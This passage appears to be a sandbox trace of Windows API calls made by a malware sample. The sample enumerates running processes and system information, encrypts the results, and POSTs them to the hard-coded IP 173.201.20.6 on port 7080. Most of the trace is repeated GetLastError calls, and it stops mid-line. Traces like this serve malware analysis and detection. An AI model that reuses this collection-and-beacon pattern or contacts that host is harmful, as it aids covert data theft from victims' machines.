0x0 [0139.336] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0139.337] GetCurrentProcess () returned 0xffffffff [0139.337] GetLastError () returned 0x0 [0139.337] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="30A9DP") returned 6 [0139.337] SetLastError (dwErrCode=0x0) [0139.337] GetCurrentProcessId () returned 0x79c [0139.337] GetLastError () returned 0x0 [0139.337] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="30A9EP") returned 6 [0139.337] SetLastError (dwErrCode=0x0) [0139.337] GetCurrentProcessId () returned 0x79c [0139.337] GetCurrentProcessId () returned 0x79c [0139.337] GetCurrentProcessId () returned 0x79c [0139.337] lstrcpyW (in: lpString1=0x52a4f4, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0139.337] GetCurrentProcessId () returned 0x79c [0139.337] GetCurrentProcessId () returned 0x79c [0139.337] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0139.337] CloseHandle (hObject=0x394) returned 1 [0139.338] lstrlenA (lpString="just string") returned 11 [0139.338] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.338] lstrlenW (lpString="systeminfo.exe") returned 14 [0139.338] lstrlenW (lpString="reader_sl.exe") returned 13 [0139.338] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0139.338] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0139.338] lstrlenW (lpString="explorer.exe") returned 12 [0139.338] lstrlenW (lpString="dwm.exe") returned 7 [0139.338] lstrlenW (lpString="taskeng.exe") returned 11 [0139.338] lstrlenW (lpString="userinit.exe") returned 12 [0139.338] lstrlenW (lpString="taskhost.exe") returned 12 [0139.338] lstrlenW (lpString="spoolsv.exe") returned 11 [0139.338] lstrlenW (lpString="audiodg.exe") returned 11 [0139.338] lstrlenW (lpString="svchost.exe") returned 11 [0139.338] lstrlenW (lpString="lsm.exe") returned 7 [0139.338] lstrlenW (lpString="lsass.exe") returned 9 [0139.338] lstrlenW (lpString="services.exe") returned 12 [0139.338] lstrlenW (lpString="winlogon.exe") returned 12 [0139.338] lstrlenW (lpString="wininit.exe") returned 11 [0139.338] lstrlenW (lpString="csrss.exe") returned 9 [0139.338] lstrlenW (lpString="smss.exe") returned 8 [0139.338] lstrlenW (lpString="System") returned 6 [0139.338] lstrlenW (lpString="[System Process]") returned 16 [0139.338] lstrcpyW (in: lpString1=0x4edea0, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0139.338] lstrlenW (lpString="reader_sl.exe") returned 13 [0139.338] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0139.338] lstrcpyW (in: lpString1=0x4edebc, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0139.338] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0139.338] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0139.338] lstrcpyW (in: lpString1=0x4eded6, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0139.338] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0139.338] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0139.338] lstrcpyW (in: lpString1=0x4edf00, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0139.338] lstrlenW (lpString="explorer.exe") returned 12 [0139.338] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0139.338] lstrcpyW (in: lpString1=0x4edf1a, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0139.338] lstrlenW (lpString="dwm.exe") returned 7 [0139.338] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0139.338] lstrcpyW (in: lpString1=0x4edf2a, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0139.338] lstrlenW (lpString="taskeng.exe") returned 11 [0139.338] lstrcmpiW (lpString1="userinit.exe", lpString2="systeminfo.exe") returned 1 [0139.338] lstrcpyW (in: lpString1=0x4edf42, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0139.338] lstrlenW (lpString="userinit.exe") returned 12 [0139.338] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0139.338] lstrcpyW (in: lpString1=0x4edf5c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0139.338] lstrlenW (lpString="taskhost.exe") returned 12 [0139.338] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0139.338] lstrcpyW (in: lpString1=0x4edf76, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0139.338] lstrlenW (lpString="spoolsv.exe") returned 11 [0139.338] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0139.338] lstrcpyW (in: lpString1=0x4edf8e, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0139.338] lstrlenW (lpString="audiodg.exe") returned 11 [0139.338] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0139.338] lstrcpyW (in: lpString1=0x4edfa6, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0139.338] lstrlenW (lpString="svchost.exe") returned 11 [0139.339] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0139.339] lstrcpyW (in: lpString1=0x4edfbe, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0139.339] lstrlenW (lpString="lsm.exe") returned 7 [0139.339] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0139.339] lstrcpyW (in: lpString1=0x4edfce, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0139.339] lstrlenW (lpString="lsass.exe") returned 9 [0139.339] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0139.339] lstrcpyW (in: lpString1=0x4edfe2, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0139.339] lstrlenW (lpString="services.exe") returned 12 [0139.339] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0139.339] lstrcpyW (in: lpString1=0x4edffc, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0139.339] lstrlenW (lpString="winlogon.exe") returned 12 [0139.339] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0139.339] lstrcpyW (in: lpString1=0x4ee016, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0139.339] lstrlenW (lpString="wininit.exe") returned 11 [0139.339] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0139.339] lstrcpyW (in: lpString1=0x4ee02e, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0139.339] lstrlenW (lpString="csrss.exe") returned 9 [0139.339] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0139.339] lstrcpyW (in: lpString1=0x4ee042, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0139.339] lstrlenW (lpString="smss.exe") returned 8 [0139.339] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0139.339] lstrcpyW (in: lpString1=0x4ee054, lpString2="System" | out: lpString1="System") returned="System" [0139.339] lstrlenW (lpString="System") returned 6 [0139.339] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0139.339] lstrcpyW (in: lpString1=0x4ee062, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0139.339] lstrlenW (lpString="[System Process]") returned 16 [0139.339] GetLastError () returned 0x12 [0139.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,userinit.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=242, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 242 [0139.339] GetNativeSystemInfo (in: lpSystemInfo=0x246f924 | out: lpSystemInfo=0x246f924*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0139.339] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0139.339] GetCurrentProcessId () returned 0x79c [0139.339] GetCurrentProcessId () returned 0x79c [0139.339] GetCurrentProcessId () returned 0x79c [0139.339] lstrlenA (lpString="just string") returned 11 [0139.339] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.339] GetLastError () returned 0x12 [0139.339] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0139.340] CryptEncrypt (in: hKey=0x4e6b98, hHash=0x4f3838, Final=1, dwFlags=0x0, pbData=0x520764*, pdwDataLen=0x246f85c*=0xd4, dwBufLen=0xe0 | out: pbData=0x520764*, pdwDataLen=0x246f85c*=0xe0) returned 1 [0139.340] GetCurrentProcessId () returned 0x79c [0139.340] CryptExportKey (in: hKey=0x4e6b98, hExpKey=0x4e6a40, dwBlobType=0x1, dwFlags=0x40, pbData=0x246f7ec, pdwDataLen=0x246f858 | out: pbData=0x246f7ec*, pdwDataLen=0x246f858*=0x6c) returned 1 [0139.340] GetCurrentProcessId () returned 0x79c [0139.340] CryptGetHashParam (in: hHash=0x4f3838, dwParam=0x2, pbData=0x520750, pdwDataLen=0x246f858, dwFlags=0x0 | out: pbData=0x520750, pdwDataLen=0x246f858) returned 1 [0139.340] CryptDestroyHash (hHash=0x4f3838) returned 1 [0139.340] GetCurrentProcessId () returned 0x79c [0139.340] lstrlenA (lpString="just string") returned 11 [0139.340] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.340] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x246f660, cbSize=0x246f860 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x246f860) returned 0x0 [0139.340] GetCurrentProcessId () returned 0x79c [0139.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x246f660, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0139.340] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0139.340] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0139.340] lstrlenA (lpString="just string") returned 11 [0139.340] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.340] GetLastError () returned 0x0 [0139.340] GetLastError () returned 0x0 [0139.340] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0139.342] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x5206f0*, dwOptionalLength=0x154 | out: lpOptional=0x5206f0*) returned 1 [0139.968] lstrlenA (lpString="just string") returned 11 [0139.968] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.968] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.969] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.970] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.971] GetLastError () returned 0x0 [0139.972] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x246f918, lpdwBufferLength=0x246f870, lpdwIndex=0x0 | out: lpBuffer=0x246f918*, lpdwBufferLength=0x246f870*=0x4, lpdwIndex=0x0) returned 1 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.972] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.973] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.974] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 